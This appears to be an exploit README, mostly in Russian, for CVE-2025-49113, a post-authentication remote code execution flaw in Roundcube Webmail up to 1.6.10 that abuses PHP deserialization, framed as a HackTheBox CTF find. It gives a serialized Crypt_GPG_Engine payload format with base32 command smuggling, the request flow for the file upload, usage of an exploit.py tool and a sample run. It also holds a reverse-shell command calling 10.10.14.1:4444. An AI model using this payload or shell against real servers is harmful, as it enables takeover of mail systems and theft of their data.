
CVE-2025-49113 – Roundcube ≤1.6.10 post-auth RCE через PHP десериализацию объектов (HackTheBox CTF)
| Поле | Подробности |
|---|
| CVE | CVE-2025-49113 |
| Программное обеспечение | Roundcube Webmail |
| Затронутые версии | ≤ 1.6.10 |
| Уязвимость | Десериализация PHP-объекта → RCE |
| Аутентификация | Требуется (любой авторизованный пользователь) |
| Воздействие | Удаленное выполнение кода на сервере |
| Контекст | Обнаружено во время HackTheBox CTF |
Версии Roundcube Webmail до 1.6.10 включительно уязвимы для удаленного выполнения кода после аутентификации. Обработчик загрузки файлов десериализует PHP-объект, встроенный в имя файла загружаемого вложения. Создав вредоносное имя файла, содержащее сериализованный объект Crypt_GPG_Engine, авторизованный злоумышленник может инициировать выполнение произвольных команд на целевом сервере при обработке имени файла.
Десериализация PHP-объекта (CWE-502). Конечная точка загрузки файлов Roundcube передает имя файла от клиента через путь десериализации без проверки. Класс Crypt_GPG_Engine доступен в цепочке зависимостей Roundcube и выступает в качестве используемой цепочки гаджетов.
Класс Crypt_GPG_Engine содержит свойство _gpgconf, которое передается в системный вызов при уничтожении/инициализации объекта. Сериализуя экземпляр с поддельным значением _gpgconf, злоумышленник принуждает к выполнению команды.
Формат сериализованной полезной нагрузки:
Serialized payload format:
|O:16:"Crypt_GPG_Engine":3:{
s:8:"_process"; b:0;
s:8:"_gpgconf"; s:<len>:"<base32-encoded-command> | base32 -d | sh &#";
s:8:"_homedir"; s:0:"";
}
Команда кодируется в Base32, чтобы избежать проблем со специальными символами в поле имени файла.
Attacker (authenticated)
│
▼
GET /?_task=login → Fetch CSRF token + session cookie
│
▼
POST /?_task=login → Authenticate with valid credentials
│
▼
POST /?_task=settings&_action=upload
Content-Disposition: filename="<SERIALIZED_PAYLOAD>"
│
▼
Server deserializes filename → Crypt_GPG_Engine instantiated
│
▼
_gpgconf executed → OS command runs as webserver user
Команда кодируется в Base32, чтобы избежать символов, которые могут повредить поле имени файла в multipart (кавычки, слеши и т.д.). Итоговая команда, выполняемая на сервере:
echo "<B32_CMD>" | base32 -d | sh
python3 exploit.py -u <USER> -p <PASS> -i <TARGET_URL> -x <COMMAND>
| Флаг | Описание |
|---|---|
-u | Имя пользователя Roundcube |
-p | Пароль Roundcube |
-i | Целевой URL (например, http://mail.target.htb) |
-x | Команда для выполнения на сервере |
# Check code execution as web server user
python3 exploit.py -u admin -p password -i http://mail.target.htb -x "id"
# Reverse shell
python3 exploit.py -u admin -p password -i http://mail.target.htb \
-x "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
Внешние библиотеки не требуются — используются только стандартные библиотеки Python (http.client, urllib, base64 и т.д.).
$ python3 exploit.py -u bob -p letmein -i http://mail.target.htb -x "id"
[*] Starting Roundcube exploit (CVE-2025-49113)
[*] Fetching CSRF token...
[+] Got CSRF token: abc123...
[*] Authenticating...
[+] Authentication successful
[*] Executing command: id
[+] Exploit completed. Check target for command execution.